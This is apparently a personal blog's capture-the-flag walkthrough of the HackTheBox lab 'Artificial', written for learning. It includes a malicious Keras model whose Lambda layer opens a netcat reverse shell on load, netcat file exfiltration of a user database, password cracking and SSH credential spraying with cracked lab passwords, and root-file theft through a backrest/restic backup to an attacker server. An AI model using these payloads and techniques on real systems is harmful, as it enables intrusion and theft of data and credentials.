Hey, it has been a while. :)
Today, I am sharing a write-up for a Linux lab, available on Hackthebox with an easy difficulty level. It took me about 2 hours to complete it. I could have finished it earlier, but I am not interested in rushing and my VPN is unfortunately quite slow, because of the region I live in.
Anyways, let’s get started.
from recon to foothold
The recon process was pretty simple, I just ran a basic nmap scan:
# tool available here: https://evil.djnn.sh/yellow/file/README.md.html
yellow -d artificial.htb
cd artificial.htb
## get open ports, filter output, then retrieve banners etc
sudo masscan -p1-65535 $TARGET_IP --rate=1000 -e tun0 > scans/tcp-ports.txt
ports=$(cat scans/tcp-ports.txt | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
sudo nmap -Pn -vv -sC -sV -p$ports $TARGET_IP -oN scans/banners-tcp
Not much caught my attention, I saw that a web-page was available so I went and check that first. Before running any enumeration, I saw that it was possible to:
- Register an account,
- Run a model you trained yourself
My initial idea was then obviously to see if I could embed some kind of malware through the model. Looking at my notes, I found this paper but it seemed to be way to complicated for an easy-level HTB box. After some furious Googling, I eventually stumbled on this article which seemed to talk about what we wanted.
From the article:
As it can be read in the SECURITY section of the project, Tensorflow models should be treated as programs and thus from a security you should not load (run) untrusted models in your application. This because models are programs which Tensorflow’s runtime interprets and executes.
It felt relevant, so I tried this technique. A Dockerfile was conveniently made available on the website, in order to have a build environment.
docker build -t artificial-lab .
docker run -v ./code:/code -it artificial-lab
and then, inside of ./code, I added this script (just copied from the article):
import tensorflow as tf
def exploit(x):
import os
os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> 8080 >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("djnnwashere.h5")
I initially tried another reverse-shell with
bashbut it did not work.
Then, I set a listener on my machine:
nc -lnvp 8080
and I just uploaded the .h5 file. As I clicked on the button to view the prediction on the Web UI, I received a callback on my machine.
Getting credentials
Upon getting shell access, you get dropped in the application directory. Given that we can register to the Web application, my first idea was to look for the companion database. The instance/ directory is where I found what I was looking for.
I downloaded it using the netcat trick:
# host machine
nc -l -p 9090 > users.db
# reverse-shell
cat users.db | nc 10.10.16.20 8080
Then, on my local machine, I could simply run sqlite3 users.db:
-- view available tables
.tables
-- enum from "users" table
select * from users;
I found a list of hashes, associated with usernames:
# hashes
c99175974b6e192936d97224638a34f8
0f3d8c76530022670f1c6029eed09ccb
b606c5f5136170f15444251665638b36
bc25b1f80f544c0ab451c02a3dca9fc6
bf041041e57f1aff3be7ea1abd6129d0
# users
gael
mark
robert
royer
mary
These look like MD5 hashes, which you can confirm with various tools online, such as haiti or hash-id. Therefore, I tried to crack them with john:
john hashes --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-md5
I got two successful hits, which I saved in a file called passwords. Then, I used nxc to run every password against every user and attempt to connect:
$ nxc ssh artificial.htb -u users -p passwords
SSH 10.10.11.74 22 artificial.htb [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13
SSH 10.10.11.74 22 artificial.htb [-] gael:marwinnarak043414036
SSH 10.10.11.74 22 artificial.htb [-] mark:marwinnarak043414036
SSH 10.10.11.74 22 artificial.htb [-] robert:marwinnarak043414036
SSH 10.10.11.74 22 artificial.htb [-] royer:marwinnarak043414036
SSH 10.10.11.74 22 artificial.htb [-] mary:marwinnarak043414036
SSH 10.10.11.74 22 artificial.htb [+] gael:mattp005numbertwo Linux - Shell access!
the other password doesn’t seem to work anywhere ? maybe it’s a false positive
The credentialsgael:mattp005numbertwo can be used to connect as user, and retrieve the first flag.
getting r00t
Upon connecting, I started enumeration manually and eventually ran linpeas.sh:
# upgrade shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# CTRL + Z
stty raw -echo; fg
# enum privileges
sudo -l
find / -type d -perm 770 2>/dev/null
env
netstat -tulpn # we find something running on port 9898 !
...
linpeas.shsaid vulnerable toCVE-2021-3560, but it’s likely patched.
However, looking at /opt directory (it is pretty common to find applications stored there), I found a directory called backrest. Looking at the Github page for this project, we can see it is a web dashboard to manage your backups using restic:
$ backrest --version
flag provided but not defined: -version
Usage of backrest:
-bind-address string
address to bind to, defaults to 127.0.0.1:9898. Use :9898 to listen on all interfaces. Overrides BACKREST_PORT environment variable.
-config-file string
path to config file, defaults to XDG_CONFIG_HOME/backrest/config.json. Overrides BACKREST_CONFIG environment variable.
-data-dir string
path to data directory, defaults to XDG_DATA_HOME/.local/backrest. Overrides BACKREST_DATA environment variable.
-install-deps-only
install dependencies and exit
-restic-cmd string
path to restic binary, defaults to a backrest managed version of restic. Overrides BACKREST_RESTIC_COMMAND environment variable
It is worth mentioning that restic pops up on GTFObins.
a GFTObin is a program that has side-effects that may be unintended for the admin of our target. In this case, we can extract files, or get
sudoaccess by running this program. Therefore, if this program runs asroot, we can execute these capabilities asroot
After running a various combinations of the find command to look for backup directories, I found a backup directory in /var/backups. When scp-ing then extracting the backrest_backup, found a file in backrest/.config:
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}
Let’s decrypt this with john again ?
echo JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP | base64 -d > root-hash
john root-hash --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
Got this weird-ass credential: !@#$%^ (does not work for root)
Connecting to backup manager
Here was my plan:
- expose local backrest to our port using port-forwarding
==>
ssh -L 9898:127.0.0.1:9898 [email protected] - access internal dashboard (in my browser, just type
http://localhost:9898) - try to find a way to execute the gtfobin
As the backrest process runs as root, it is able to read (and backup) any file on the system. Then, it is just a matter of downloading the files that have been backed up.
From the UI, I created a repo (called djnnwashere, with as a password djnn) and set as the url rest:http://<MY-IP>:1234.
Then, I could go to the repository, click on “Run command” and type: backup /root as described on the GTFObins page.
The download process took a bit of time, but eventually, I could run this on my host machine:
restic -r djnnwashere snapshots
# hash of the snapshot, found in the output of the command above
restic -r djnnwashere restore <hash> --target ./restore
Then, I managed to access the ./restore/root directory and retrieve the flag.
If you wish to connect, there is also an
sshkey.
Conclusion
Although ranked easy, this box taught me a few things, namely around the behavior of machine learning models. The rest of the box was fairly straightforward, and I would say it deserves this level. It was pretty fun, and I’m excited to get back into playing boxes and sharing projects. Stay tuned.
Until next time :)~